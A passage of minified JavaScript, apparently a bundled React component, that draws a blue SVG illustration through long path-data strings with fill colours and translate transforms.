222.7890625 C142.18907553 221.78153023 143.22161894 220.7737087 144.25390625 219.765625 C145.87622225 218.19288658 147.50153756 216.62352545 149.13232422 215.05957031 C150.71175424 213.54083246 152.27827146 212.00965939 153.84375 210.4765625 C154.78412109 209.56986816 155.72449219 208.66317383 156.69335938 207.72900391 C159.14924422 204.82342804 160.18794832 202.69814446 161 199 C160.24267038 196.18428569 160.24267038 196.18428569 159 194 C153.01179794 198.98628499 147.58516478 204.36900388 142.16601562 209.9609375 C141.52728516 210.610625 140.88855469 211.2603125 140.23046875 211.9296875 C139.65707764 212.51991699 139.08368652 213.11014648 138.49291992 213.71826172 C137 215 137 215 135 215 C135 215.66 135 216.32 135 217 C134.34 217 133.68 217 133 217 C133 217.66 133 218.32 133 219 C132.34 219 131.68 219 131 219 C131 219.66 131 220.32 131 221 C130.34 221 129.68 221 129 221 C129 221.66 129 222.32 129 223 C128.34 223 127.68 223 127 223 C127 223.66 127 224.32 127 225 C125.42578125 226.55078125 125.42578125 226.55078125 123.3125 228.3125 C120.03343226 231.06049462 117.0025446 233.95133336 114 237 C104 247 104 247 101.41796875 249.54296875 C98.62802272 252.37798661 96.09599093 255.37265833 93.55078125 258.42578125 C93.03902344 258.94527344 92.52726563 259.46476562 92 260 C91.34 260 90.68 260 90 260 C90 260.66 90 261.32 90 262 C89.34 262 88.68 262 88 262 C87.59886993 262.88615997 87.59886993 262.88615997 87.18963623 263.79022217 C85.98285983 266.03183828 84.73746723 267.53995997 82.96582031 269.35644531 C82.35047424 269.99100647 81.73512817 270.62556763 81.10113525 271.27935791 C80.43354187 271.95545105 79.76594849 272.63154419 79.078125 273.328125 C78.38168884 274.0359613 77.68525269 274.74379761 76.9677124 275.4730835 C75.48767007 276.97201454 74.00469993 278.46805946 72.51904297 279.96142578 C70.28558874 282.21410492 68.07446323 284.48720464 65.86328125 286.76171875 C57.4938991 295.25441805 49.6942996 301.69490643 39 307 C36.99075608 308.17179142 34.98932939 309.35720964 33 310.5625 C27.72060578 313.6590007 22.29533627 316.34859069 16.79296875 319.0234375 C13.97805359 320.44245914 11.29501246 322.00737197 8.61328125 323.6640625 C7.86715576 324.12256592 7.12103027 324.58106934 6.35229492 325.0534668 C4.90390596 325.95349059 3.46458519 326.86833285 2.03637695 327.80004883 C-2.89364319 330.85869052 -6.19139166 331.66472844 -12 331 C-14.5625 328.875 -14.5625 328.875 -16 326 C-15.65683485 320.94933626 -13.70972343 316.93761712 -11.38671875 312.53125 C-11.02073578 311.82162613 -10.65475281 311.11200226 -10.27767944 310.38087463 C-9.08934744 308.08278048 -7.88892232 305.79127397 -6.6875 303.5 C-5.86668343 301.92136228 -5.0462915 300.34250371 -4.22631836 298.76342773 C0.42518026 289.82617021 5.13146453 280.91770286 9.9375 272.0625 C10.65256714 270.74378906 10.65256714 270.74378906 11.38208008 269.3984375 C11.82189209 268.59792969 12.2617041 267.79742187 12.71484375 266.97265625 C13.08730225 266.29468994 13.45976074 265.61672363 13.84350586 264.91821289 C15.11180603 262.81455351 16.41221927 260.87651569 18 259 C18.66 259 19.32 259 20 259 C20 258.34 20 257.68 20 257 C20.66 257 21.32 257 22 257 C22.23287216 256.44148346 22.46574432 255.88296692 22.70567322 255.30752563 C24.33335739 252.40569048 26.34507271 250.42331683 28.70922852 248.07958984 C29.18583923 247.60429337 29.66244995 247.12899689 30.15350342 246.63929749 C31.72408433 245.07518825 33.30151621 243.51817685 34.87890625 241.9609375 C35.97275212 240.87336414 37.06608302 239.78527263 38.15892029 238.69668579 C41.032918 235.83597538 43.91243352 232.98088978 46.7935791 230.12738037 C51.40997296 225.55415271 56.01961981 220.97414839 60.62608147 216.39091873 C62.23742039 214.7898186 63.8521199 213.19216511 65.46717834 211.59481812 C66.45162174 210.61720073 67.4359569 209.63947434 68.42016602 208.66162109 C69.28239273 207.8076474 70.14461945 206.95367371 71.03297424 206.07382202 C73.04342314 204.15569807 73.04342314 204.15569807 74 202 C74.66 202 75.32 202 76 202 C76 201.34 76 200.68 76 200 C76.66 200 77.32 200 78 200 C78 199.34 78 198.68 78 198 C78.66 198 79.32 198 80 198 C80 197.34 80 196.68 80 196 C80.66 196 81.32 196 82 196 C82.268125 195.360625 82.53625 194.72125 82.8125 194.0625 C84 192 84 192 87 191 C87 190.34 87 189.68 87 189 C87.66 189 88.32 189 89 189 C89 188.34 89 187.68 89 187 C89.66 187 90.32 187 91 187 C91 186.34 91 185.68 91 185 C91.66 185 92.32 185 93 185 C93 184.34 93 183.68 93 183 C93.66 183 94.32 183 95 183 C95.2371875 182.43796875 95.474375 181.8759375 95.71875 181.296875 C97.28947697 178.48105958 99.21471464 176.52044584 101.5 174.25 C102.69109375 173.05117188 102.69109375 173.05117188 103.90625 171.828125 C106 170 106 170 108 170 C108.2371875 169.43796875 108.474375 168.8759375 108.71875 168.296875 C110.28947697 165.48105958 112.21471464 163.52044584 114.5 161.25 C115.69109375 160.05117188 115.69109375 160.05117188 116.90625 158.828125 C119 157 119 157 121 157 C121.32484375 156.18789063 121.32484375 156.18789063 121.65625 155.359375 C123.46499997 152.18354656 125.91723799 149.79271919 128.5 147.25 C128.99886719 146.74339844 129.49773437 146.23679688 130.01171875 145.71484375 C133.74658861 142 133.74658861 142 136 142 C136 141.34 136 140.68 136 140 C144.04367202 135.20473399 150.73750514 133.74750103 160.125 135.625 C167.14304642 138.98145698 173.12096749 143.5790455 176 151 C177.65776289 159.09250041 177.42291066 166.26431099 173.625 173.6875 C171.8491314 176.21469762 169.9704661 178.62185126 168 181 C168.61488281 181.67095703 168.61488281 181.67095703 169.2421875 182.35546875 C169.78101563 182.96003906 170.31984375 183.56460938 170.875 184.1875 C171.40867187 184.77917969 171.94234375 185.37085938 172.4921875 185.98046875 C175.73829594 190.32823576 176.35717019 194.39388197 176.5 199.75 C176.57734375 201.47476563 176.57734375 201.47476563 176.65625 203.234375 C174.8415433 213.64733485 165.45620582 220.88110073 158.1875 227.9375 C156.59517906 229.49467674 155.00509452 231.05405132 153.41755676 232.61610413 C151.99252145 234.01657612 150.56124657 235.41069077 149.12963867 236.80444336 C146.96850749 238.81153972 146.96850749 238.81153972 146 241 C145.34 241 144.68 241 144 241 C141.51428415 244.79186935 141.71398573 248.6349819 141.72875977 253.00634766 C141.72353302 253.81016876 141.71830627 254.61398987 141.71292114 255.44216919 C141.70268958 257.18600134 141.69690221 258.92986396 141.69503975 260.67372513 C141.69137061 263.44094247 141.67462623 266.20780314 141.65428162 268.97494507 C141.59894082 276.84211565 141.56828149 284.70933979 141.54370117 292.57666016 C141.52774948 297.39246477 141.49744513 302.2080189 141.45893669 307.02369308 C141.44734696 308.85193581 141.44135687 310.6802235 141.44125557 312.50850296 C141.44038851 323.99882046 141.39460658 334.35012198 135 344.375 C134.505 345.16648437 134.01 345.95796875 133.5 346.7734375 C130.5404157 351.16657044 130.5404157 351.16657044 129 353 C128.34 353 127.68 353 127 353 C127 353.66 127 354.32 127 355 C126.34 355 125.68 355 125 355 C125 355.66 125 356.32 125 357 C123.05078125 358.5859375 123.05078125 358.5859375 120.3125 360.375 C119.44238281 360.96023438 118.57226562 361.54546875 117.67578125 362.1484375 C107.0444946 367.99572883 95.92873746 368.58335999 84.125 368.51757812 C82.46931344 368.52301135 80.81363172 368.53014068 79.15795898 368.53881836 C74.69919774 368.55691218 70.24081048 368.55004243 65.78204346 368.53730202 C61.09296742 368.52710147 56.40392119 368.53658713 51.71484375 368.54284668 C43.84369215 368.55010269 35.97269118 368.54058933 28.1015625 368.52148438 C19.03044053 368.49971959 9.95967832 368.50677241 0.88856506 368.52879 C-6.9309749 368.54700255 -14.75040721 368.54947381 -22.56996155 368.53903532 C-27.22655118 368.53283245 -31.8829723 368.53187564 -36.53955078 368.54518127 C-40.91959282 368.55682487 -45.29917572 368.54856058 -49.6791687 368.52560425 C-51.27659344 368.52036222 -52.87405753 368.5217526 -54.47146606 368.53065491 C-67.39503625 368.59597994 -79.38653865 366.97188875 -90 359 C-90.58007812 358.60554688 -91.16015625 358.21109375 -91.7578125 357.8046875 C-100.47027841 351.28010541 -105.77190073 340.45917675 -108 330 C-108.17240707 329.29241043 -108.34481415 328.58482086 -108.52244568 327.85578918 C-109.12441115 324.25601761 -109.13143728 320.72594005 -109.11352539 317.08862305 C-109.11367142 316.30760727 -109.11381744 315.52659149 -109.1139679 314.72190857 C-109.1132737 312.15181661 -109.10550446 309.58179798 -109.09765625 307.01171875 C-109.09579032 305.22524556 -109.09436724 303.43877186 -109.09336853 301.65229797 C-109.08955716 296.95875629 -109.07973867 292.26524573 -109.06866455 287.57171631 C-109.05842075 282.77893495 -109.05386455 277.98614854 -109.04882812 273.19335938 C-109.03811514 263.79555927 -109.02105531 254.39778223 -109 245 C-109.95366455 245.01047363 -110.9073291 245.02094727 -111.88989258 245.03173828 C-115.42891688 245.06794501 -118.9679248 245.09090284 -122.50708008 245.10986328 C-124.03868361 245.11991935 -125.57026795 245.133566 -127.10180664 245.15087891 C-129.30359636 245.17514498 -131.50513219 245.18648688 -133.70703125 245.1953125 C-134.39150833 245.20563507 -135.07598541 245.21595764 -135.78120422 245.22659302 C-139.43061661 245.22745382 -140.87148502 245.08567666 -144 243 C-144.37752342 240.02429199 -144.37752342 240.02429199 -144.38095093 236.12304688 C-144.3856309 235.40716589 -144.39031087 234.6912849 -144.39513266 233.95371056 C-144.40714934 231.54187152 -144.39759915 229.13059379 -144.38818359 226.71875 C-144.39224692 224.99398465 -144.39758746 223.2692219 -144.40411377 221.54446411 C-144.41783797 216.84511232 -144.41246347 212.14595728 -144.40297651 207.44660187 C-144.3953868 202.51957159 -144.40242542 197.59255828 -144.40713501 192.66552734 C-144.41260278 184.37301618 -144.40538281 176.08058497 -144.39111328 167.78808594 C-144.37487081 158.23963053 -144.38000957 148.69136815 -144.3965925 139.14291763 C-144.41028159 130.92863455 -144.41208844 122.71440908 -144.40427649 114.50011826 C-144.39962939 109.60234173 -144.39889083 104.70465528 -144.40888596 99.80688477 C-144.4176586 95.18410286 -144.41134922 90.56156449 -144.39420319 85.93880844 C-144.39028885 84.2564115 -144.39128368 82.5739935 -144.39799118 80.89160538 C-144.50128549 52.30952408 -136.93948302 27.56323905 -116.79296875 6.62109375 C-109.97626747 0.22388178 -102.33167541 -4.80386529 -94 -9 C-93.35289062 -9.34675781 -92.70578125 -9.69351563 -92.0390625 -10.05078125 C-62.920964 -24.4982669 -25.57205189 -18.85212348 0 0 Z M-99 17 C-99 17.66 -99 18.32 -99 19 C-99.82564453 19.31904297 -99.82564453 19.31904297 -100.66796875 19.64453125 C-112.05072454 26.26063889 -119.16593801 41.80323042 -122.53182411 53.89006233 C-123.48861463 58.20204935 -123.77093193 62.58766693 -124.10620117 66.98413086 C-124.19035121 68.072555 -124.27450125 69.16097914 -124.36120129 70.28238583 C-125.29554583 83.5528099 -125.31155294 96.83153555 -125.30158257 110.12796521 C-125.30049196 113.02139622 -125.30544609 115.91480633 -125.310188 118.80823272 C-125.32114957 125.62892661 -125.32179141 132.44956532 -125.31567383 139.27026367 C-125.30958806 146.2751707 -125.3220911 153.27987921 -125.3432439 160.28475243 C-125.36087835 166.35073694 -125.36686002 172.4166582 -125.36360615 178.48266739 C-125.36180274 182.08424497 -125.36433841 185.68567941 -125.37832069 189.28723335 C-125.39327431 193.28480142 -125.38391309 197.28196181 -125.37231445 201.27954102 C-125.37995819 202.45515091 -125.38760193 203.6307608 -125.39547729 204.84199524 C-125.35426735 211.26909042 -124.82069995 216.18523239 -122 222 C-119.07272955 224.59272526 -116.59915228 225.13840051 -112.82421875 225.56640625 C-111.56222656 225.70949219 -110.30023438 225.85257813 -109 226 C-108.99761165 225.29377093 -108.99522329 224.58754187 -108.99276257 223.85991192 C-108.93350973 206.63980268 -108.85789424 189.41984215 -108.76428509 172.19988537 C-108.7194061 163.8722835 -108.67997342 155.54472364 -108.65356445 147.21704102 C-108.63052019 139.95479871 -108.59705094 132.69269024 -108.55129844 125.43055421 C-108.52745247 121.5887709 -108.50866742 117.74711942 -108.50238609 113.9052639 C-108.49629587 110.28135025 -108.47615607 106.65777353 -108.44572449 103.03398514 C-108.43288325 101.08594445 -108.43450338 99.13782479 -108.4367218 97.18974304 C-108.28848946 83.18375112 -104.45047225 68.98968677 -94.6171875 58.51953125 C-79.41630087 44.23657256 -60.93700363 44.92295376 -41.1953125 44.68359375 C-39.73558056 44.66295109 -38.27585361 44.64195315 -36.81613159 44.62062073 C-33.02533073 44.566153 -29.23448294 44.51642085 -25.44360352 44.46777344 C-21.55480919 44.4169984 -17.66608067 44.36160862 -13.77734375 44.30664062 C-6.18495199 44.19998421 1.40749554 44.09834502 9 44 C8.37568146 42.5620605 7.7477898 41.12567204 7.1184082 39.68994141 C6.76913773 38.88988678 6.41986725 38.08983215 6.06001282 37.26553345 C0.74292169 25.90147482 -9.21270501 16.20458051 -20 10 C-20.99 10 -21.98 10 -23 10 C-23 9.34 -23 8.68 -23 8 C-46.54569004 -2.94901162 -79.21218257 -0.69049116 -99 17 Z M99 19 C95.12885485 28.97113146 91.60116507 39.02805974 88.26391602 49.19018555 C86.31424252 55.11067704 84.30782002 61.00619919 82.23046875 66.8828125 C81.76196613 68.21457212 81.29354124 69.54635909 80.82519531 70.87817383 C80.13579262 72.83778192 79.44340956 74.79604982 78.74108887 76.75106812 C78.08897008 78.56688568 77.44852045 80.38688121 76.80859375 82.20703125 C76.24869751 83.77674683 76.24869751 83.77674683 75.67749023 85.37817383 C74.72541911 88.08212134 74.72541911 88.08212134 76 91 C80.62 91 85.24 91 90 91 C90.45375 89.96875 90.9075 88.9375 91.375 87.875 C91.63023437 87.29492188 91.88546875 86.71484375 92.1484375 86.1171875 C93.21859989 83.45650852 94.0931119 80.72066429 95 78 C104.24 78 113.48 78 123 78 C123.495 80.97 123.495 80.97 124 84 C124.70554915 86.0806885 124.70554915 86.0806885 125.5625 87.875 C126.036875 88.90625 126.51125 89.9375 127 91 C131.95 91 136.9 91 142 91 C140.63739184 83.33974171 138.57347666 76.1703527 136.0625 68.8125 C135.71509766 67.77158203 135.36769531 66.73066406 135.00976562 65.65820312 C133.63069581 61.56774182 132.23816373 57.55213555 130.52734375 53.5859375 C129.04590277 50.10777173 127.79053072 46.62669856 126.58984375 43.04296875 C126.15316749 41.75319672 125.71631352 40.46348486 125.27929688 39.17382812 C124.60338676 37.16881745 123.92937963 35.16320897 123.25854492 33.15649414 C122.60328718 31.20020709 121.94081634 29.24648228 121.27734375 27.29296875 C120.88796631 26.1330542 120.49858887 24.97313965 120.09741211 23.77807617 C119.17882478 20.91358232 119.17882478 20.91358232 117 19 C115.06318864 18.72345612 115.06318864 18.72345612 112.8671875 18.8046875 C112.06152344 18.81113281 111.25585938 18.81757812 110.42578125 18.82421875 C109.16314453 18.84935547 109.16314453 18.84935547 107.875 18.875 C107.02550781 18.88402344 106.17601562 18.89304688 105.30078125 18.90234375 C103.20040116 18.92594353 101.10016556 18.96181517 99 19 Z M153 20 C152.90043722 22.1726268 152.87200281 24.34853106 152.87060547 26.5234375 C152.86885315 27.20472717 152.86710083 27.88601685 152.86529541 28.58795166 C152.86087758 30.85032667 152.86381462 33.11262413 152.8671875 35.375 C152.86651444 36.9405926 152.8655444 38.5061851 152.86428833 40.07177734 C152.86281145 43.35710645 152.86496559 46.64240842 152.86962891 49.92773438 C152.8753262 54.14820516 152.87204714 58.36861236 152.86605644 62.58908081 C152.86245056 65.82316572 152.86358954 69.05723545 152.86618423 72.2913208 C152.86685343 73.84792081 152.86602534 75.40452218 152.86370468 76.96112061 C152.8611777 79.13297196 152.86501935 81.30471896 152.87060547 83.4765625 C152.87140106 84.71486816 152.87219666 85.95317383 152.87301636 87.22900391 C152.68388223 89.90854742 152.68388223 89.90854742 154 91 C156.14307896 91.12537741 158.29078886 91.17574364 160.4375 91.1875 C161.61183594 91.20167969 162.78617187 91.21585937 163.99609375 91.23046875 C167.11496902 91.31899256 167.11496902 91.31899256 169 89 C169.29393839 86.00366169 169.29393839 86.00366169 169.22705078 82.43896484 C169.22734283 81.76567642 169.22763489 81.092388 169.22793579 80.3986969 C169.22654047 78.16931346 169.21097016 75.94026268 169.1953125 73.7109375 C169.19158308 72.16680077 169.18873577 70.62266167 169.18673706 69.07852173 C169.17909499 65.01124557 169.15944168 60.94411189 169.1373291 56.87689209 C169.11688296 52.7278435 169.10773799 48.57877193 169.09765625 44.4296875 C169.07619625 36.28639289 169.04205349 28.14321416 169 20 C166.13366205 18.56683102 163.62764499 18.86799639 160.4375 18.875 C159.26058594 18.87242188 158.08367187 18.86984375 156.87109375 18.8671875 C154.10327299 18.67216812 154.10327299 18.67216812 153 20 Z M133 164 C131.02 166.31 129.04 168.62 127 171 C132.1797626 176.83751024 137.42190923 182.54059201 143 188 C145.31 186.02 147.62 184.04 150 182 C149.67 180.68 149.34 179.36 149 178 C148.34 178 147.68 178 147 178 C147 177.34 147 176.68 147 176 C146.34 176 145.68 176 145 176 C145 175.34 145 174.68 145 174 C144.34 174 143.68 174 143 174 C143 173.34 143 172.68 143 172 C142.34 172 141.68 172 141 172 C141 171.34 141 170.68 141 170 C139.21276059 168.41544134 139.21276059 168.41544134 137 166.875 C135.88625 166.06675781 135.88625 166.06675781 134.75 165.2421875 C133.88375 164.62730469 133.88375 164.62730469 133 164 Z M24 273 C21.69029586 277.49596578 19.39371569 281.99829806 17.10913086 286.50708008 C16.32984333 288.0404854 15.546978 289.57207784 14.76049805 291.10180664 C13.63168617 293.29889474 12.51583312 295.5021465 11.40234375 297.70703125 C11.047202 298.39150833 10.69206024 299.07598541 10.32615662 299.78120422 C9.47400069 301.48451167 8.72766003 303.2399043 8 305 C8.33 305.99 8.66 306.98 9 308 C9.72703125 307.56429687 10.4540625 307.12859375 11.203125 306.6796875 C17.43149614 302.99057536 23.71834724 299.60365109 30.21875 296.421875 C33.97511565 294.50148582 37.47054257 292.30772217 41 290 C40.34 288.68 39.68 287.36 39 286 C38.34 286 37.68 286 37 286 C36.7628125 285.43796875 36.525625 284.8759375 36.28125 284.296875 C34.71052303 281.48105958 32.78528536 279.52044584 30.5 277.25 C29.7059375 276.45078125 28.911875 275.6515625 28.09375 274.828125 C26.21216538 272.78076391 26.21216538 272.78076391 24 273 Z ",fill:"#0395E5",transform:"translate(226,52)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 1.485 0.99 1.485 2 3 C1.125 6.6875 1.125 6.6875 0 10 C-0.99 9.67 -1.98 9.34 -3 9 C-3 10.32 -3 11.64 -3 13 C-3.66 13 -4.32 13 -5 13 C-5.66 14.65 -6.32 16.3 -7 18 C-5.68 18 -4.36 18 -3 18 C-2.01 18 -1.02 18 0 18 C0.33 17.34 0.66 16.68 1 16 C2.98 16 4.96 16 7 16 C7 14.02 7 12.04 7 10 C8.32 9.67 9.64 9.34 11 9 C11.33 9.99 11.66 10.98 12 12 C10.91357422 13.69580078 10.91357422 13.69580078 9.1796875 15.5703125 C8.5309668 16.27446289 7.88224609 16.97861328 7.21386719 17.70410156 C3.24331173 21.8217795 -0.79928224 25.86160208 -4.875 29.875 C-6.58300524 31.5575885 -8.28885251 33.24237133 -9.9921875 34.9296875 C-10.73839355 35.66429199 -11.48459961 36.39889648 -12.25341797 37.15576172 C-14.06693877 38.89194424 -14.06693877 38.89194424 -15 41 C-15.66 41 -16.32 41 -17 41 C-19.48571585 44.79186935 -19.28601427 48.6349819 -19.27124023 53.00634766 C-19.27646698 53.81016876 -19.28169373 54.61398987 -19.28707886 55.44216919 C-19.29731042 57.18600134 -19.30309779 58.92986396 -19.30496025 60.67372513 C-19.30862939 63.44094247 -19.32537377 66.20780314 -19.34571838 68.97494507 C-19.40105918 76.84211565 -19.43171851 84.70933979 -19.45629883 92.57666016 C-19.47225052 97.39246477 -19.50255487 102.2080189 -19.54106331 107.02369308 C-19.55265304 108.85193581 -19.55864313 110.6802235 -19.55874443 112.50850296 C-19.55961149 123.99882046 -19.60539342 134.35012198 -26 144.375 C-26.495 145.16648437 -26.99 145.95796875 -27.5 146.7734375 C-30.4595843 151.16657044 -30.4595843 151.16657044 -32 153 C-32.66 153 -33.32 153 -34 153 C-34 153.66 -34 154.32 -34 155 C-34.66 155 -35.32 155 -36 155 C-36 155.66 -36 156.32 -36 157 C-37.94921875 158.5859375 -37.94921875 158.5859375 -40.6875 160.375 C-41.99267578 161.25285156 -41.99267578 161.25285156 -43.32421875 162.1484375 C-54.04068304 168.03808483 -65.19152532 168.56771027 -77.08129883 168.45410156 C-78.75807162 168.45297067 -80.43484639 168.45361166 -82.11161804 168.45587158 C-86.62327866 168.45701023 -91.13450615 168.43363999 -95.6460669 168.40557575 C-100.37589409 168.38041909 -105.1057333 168.37820893 -109.83561707 168.37347412 C-118.77426911 168.36108599 -127.71272338 168.32832124 -136.65128869 168.28807616 C-146.83516525 168.24322823 -157.0190517 168.22133878 -167.20300257 168.20129442 C-188.13544505 168.15958453 -209.06771002 168.08931418 -230 168 C-230 167.67 -230 167.34 -230 167 C-179.51 166.67 -129.02 166.34 -77 166 C-77 165.67 -77 165.34 -77 165 C-69.74 164.67 -62.48 164.34 -55 164 C-54.67 162.68 -54.34 161.36 -54 160 C-52.865625 159.87625 -51.73125 159.7525 -50.5625 159.625 C-49.386875 159.41875 -48.21125 159.2125 -47 159 C-46.67 158.34 -46.34 157.68 -46 157 C-44.68 157.33 -43.36 157.66 -42 158 C-41.54625 157.05125 -41.0925 156.1025 -40.625 155.125 C-39 152 -39 152 -37 150 C-35.68 150 -34.36 150 -33 150 C-33 149.01 -33 148.02 -33 147 C-32.01 147 -31.02 147 -30 147 C-30.495 146.38125 -30.99 145.7625 -31.5 145.125 C-33 143 -33 143 -33 141 C-34.98 141.99 -34.98 141.99 -37 143 C-37.33 142.34 -37.66 141.68 -38 141 C-39.98 141.33 -41.96 141.66 -44 142 C-43.66226563 141.43152344 -43.32453125 140.86304688 -42.9765625 140.27734375 C-42.30753906 139.11912109 -42.30753906 139.11912109 -41.625 137.9375 C-41.18414062 137.18339844 -40.74328125 136.42929687 -40.2890625 135.65234375 C-37.3803517 129.66745092 -36.70662852 124.09655412 -36.72875977 117.57373047 C-36.72353302 116.76143982 -36.71830627 115.94914917 -36.71292114 115.11224365 C-36.70273151 113.36026806 -36.69690959 111.60826262 -36.69503975 109.85625839 C-36.69135927 107.08177452 -36.67458907 104.3076427 -36.65428162 101.53323364 C-36.59901437 93.64933815 -36.56813785 85.76539275 -36.54370117 77.88134766 C-36.52782474 73.04913829 -36.49761302 68.21718291 -36.45893669 63.38510513 C-36.4472961 61.54714782 -36.44135642 59.70914514 -36.44125557 57.87115097 C-36.44106345 55.30299057 -36.42279464 52.73553183 -36.40063477 50.16748047 C-36.40521194 49.41099213 -36.40978912 48.65450378 -36.414505 47.87509155 C-36.35284621 43.37876212 -35.67934419 40.61727143 -33 37 C-32.319375 36.071875 -31.63875 35.14375 -30.9375 34.1875 C-30.298125 33.465625 -29.65875 32.74375 -29 32 C-28.34 32 -27.68 32 -27 32 C-26.77634766 31.44820068 -26.55269531 30.89640137 -26.32226562 30.32788086 C-24.58648375 27.27199457 -22.36804173 25.19882726 -19.84375 22.75390625 C-18.81108038 21.74165636 -17.77853201 20.72928275 -16.74609375 19.71679688 C-15.12245355 18.13663388 -13.49641711 16.55903554 -11.86767578 14.98413086 C-10.29068819 13.45557421 -8.72314429 11.91779788 -7.15625 10.37890625 C-6.21587891 9.4669751 -5.27550781 8.55504395 -4.30664062 7.61547852 C-2.08356783 5.09475679 -0.99567141 3.17890334 0 0 Z ",fill:"#0B98E3",transform:"translate(387,252)"}),(0,a.createElement)("path",{d:"M0 0 C1.73006035 -0.0131424 1.73006035 -0.0131424 3.49507141 -0.02655029 C7.3076438 -0.04855708 11.11905644 -0.03398533 14.93164062 -0.01708984 C17.5805404 -0.02045758 20.22940494 -0.02530214 22.8782959 -0.03158569 C28.4298967 -0.04067507 33.98116462 -0.02871349 39.53271484 -0.00488281 C45.94556337 0.02232769 52.35761703 0.01351298 58.7704463 -0.01401484 C64.28232599 -0.03672566 69.79396679 -0.03989655 75.30587816 -0.02682149 C78.59532422 -0.01903753 81.88431603 -0.01992678 85.17375183 -0.03450394 C88.84164301 -0.04719074 92.50800415 -0.02786225 96.17578125 0 C97.80614067 -0.01518173 97.80614067 -0.01518173 99.46943665 -0.03067017 C104.30768235 0.03748134 106.79560795 0.07879275 110.80895996 2.9569397 C112.58789062 5.64697266 112.58789062 5.64697266 112.46289062 9.33447266 C111.58789062 12.64697266 111.58789062 12.64697266 110.58789062 14.64697266 C107.67104658 15.619254 105.78056937 15.78137944 102.74307251 15.8008728 C101.74488998 15.80947327 100.74670746 15.81807373 99.71827698 15.82693481 C98.07713173 15.83332474 98.07713173 15.83332474 96.40283203 15.83984375 C94.67320976 15.85210999 94.67320976 15.85210999 92.90864563 15.86462402 C89.08558678 15.88947639 85.26256498 15.90599158 81.43945312 15.92041016 C80.13557018 15.92573383 78.83168724 15.93105751 77.48829269 15.93654251 C72.01005056 15.95816255 66.53181134 15.97689968 61.05353737 15.9881649 C53.20614192 16.00440935 45.35924113 16.03760819 37.51203215 16.09456575 C31.99176928 16.13326664 26.47163873 16.15279755 20.95124376 16.15808547 C17.65495996 16.16173812 14.35932543 16.17624747 11.06315994 16.2061882 C7.38563356 16.23769357 3.70936335 16.23789794 0.03173828 16.23046875 C-1.60333427 16.25507675 -1.60333427 16.25507675 -3.2714386 16.28018188 C-10.64872898 16.2190477 -10.64872898 16.2190477 -14.58828735 13.26675415 C-16.41210938 10.64697266 -16.41210938 10.64697266 -17.03710938 8.14697266 C-14.8457158 -0.61860166 -7.42038923 -0.06909787 0 0 Z ",fill:"#050409",transform:"translate(178.412109375,217.35302734375)"}),(0,a.createElement)("path",{d:"M0 0 C1 2 1 2 0.875 3.9375 C0 6 0 6 -2.5 7.3125 C-3.325 7.869375 -4.15 8.42625 -5 9 C-5.41434251 11.32031805 -5.74889902 13.65639085 -6 16 C-8.0382786 18.95550397 -10.67262636 19.83092278 -14 21 C-13.505 21.99 -13.505 21.99 -13 23 C-12.01 23.33 -11.02 23.66 -10 24 C-10 23.34 -10 22.68 -10 22 C-6.66666667 22 -3.33333333 22 0 22 C-0.0825 22.928125 -0.165 23.85625 -0.25 24.8125 C-0.3664015 28.09066177 -0.3664015 28.09066177 2 29.75 C2.66 30.1625 3.32 30.575 4 31 C4 31.66 4 32.32 4 33 C4.99 33.33 5.98 33.66 7 34 C7 34.66 7 35.32 7 36 C7.66 36 8.32 36 9 36 C9 36.66 9 37.32 9 38 C9.66 38 10.32 38 11 38 C11 38.66 11 39.32 11 40 C11.99 40.33 12.98 40.66 14 41 C14 41.66 14 42.32 14 43 C14.99 43.495 14.99 43.495 16 44 C9.25 48 9.25 48 7 48 C7.7763932 51.0745356 7.7763932 51.0745356 10 53 C12.42130331 54.21065165 13.48293659 53.94602533 16.125 53.5625 C17.40375 53.376875 18.6825 53.19125 20 53 C15.82596174 56.5954587 11.37117089 59.18635489 6.5625 61.8125 C5.76336182 62.25335938 4.96422363 62.69421875 4.14086914 63.1484375 C-1.6362411 66.31353494 -7.49217458 69.25224016 -13.41796875 72.12890625 C-16.15363579 73.50872136 -18.75661565 75.04242798 -21.36328125 76.65234375 C-22.11279053 77.11253906 -22.8622998 77.57273437 -23.63452148 78.046875 C-25.087988 78.94901571 -26.5322616 79.86620562 -27.96508789 80.80078125 C-32.89429076 83.8593448 -36.19226201 84.66462884 -42 84 C-44.5625 81.875 -44.5625 81.875 -46 79 C-45.65683485 73.94933626 -43.70972343 69.93761712 -41.38671875 65.53125 C-41.02073578 64.82162613 -40.65475281 64.11200226 -40.27767944 63.38087463 C-39.08934744 61.08278048 -37.88892232 58.79127397 -36.6875 56.5 C-35.86668343 54.92136228 -35.0462915 53.34250371 -34.22631836 51.76342773 C-29.57481974 42.82617021 -24.86853547 33.91770286 -20.0625 25.0625 C-19.58578857 24.18335938 -19.10907715 23.30421875 -18.61791992 22.3984375 C-18.17810791 21.59792969 -17.7382959 20.79742187 -17.28515625 19.97265625 C-16.91269775 19.29468994 -16.54023926 18.61672363 -16.15649414 17.91821289 C-14.88819397 15.81455351 -13.58778073 13.87651569 -12 12 C-11.34 12 -10.68 12 -10 12 C-10 11.34 -10 10.68 -10 10 C-9.34 10 -8.68 10 -8 10 C-7.79375 9.46375 -7.5875 8.9275 -7.375 8.375 C-5.42003056 4.9982346 -2.81776305 2.69525161 0 0 Z M-6 26 C-8.30970414 30.49596578 -10.60628431 34.99829806 -12.89086914 39.50708008 C-13.67015667 41.0404854 -14.453022 42.57207784 -15.23950195 44.10180664 C-16.36831383 46.29889474 -17.48416688 48.5021465 -18.59765625 50.70703125 C-18.952798 51.39150833 -19.30793976 52.07598541 -19.67384338 52.78120422 C-20.52599931 54.48451167 -21.27233997 56.2399043 -22 58 C-21.67 58.99 -21.34 59.98 -21 61 C-20.27296875 60.56429687 -19.5459375 60.12859375 -18.796875 59.6796875 C-12.56850386 55.99057536 -6.28165276 52.60365109 0.21875 49.421875 C3.97511565 47.50148582 7.47054257 45.30772217 11 43 C10.34 41.68 9.68 40.36 9 39 C8.34 39 7.68 39 7 39 C6.7628125 38.43796875 6.525625 37.8759375 6.28125 37.296875 C4.71052303 34.48105958 2.78528536 32.52044584 0.5 30.25 C-0.2940625 29.45078125 -1.088125 28.6515625 -1.90625 27.828125 C-3.78783462 25.78076391 -3.78783462 25.78076391 -6 26 Z ",fill:"#0997E3",transform:"translate(256,299)"}),(0,a.createElement)("path",{d:"M0 0 C9.83732031 -0.04703596 19.67122247 0.01598299 29.50774384 0.14203644 C33.51196103 0.1923805 37.51597099 0.2178876 41.52043629 0.23846722 C44.6389898 0.25877523 47.75715162 0.29659834 50.87547112 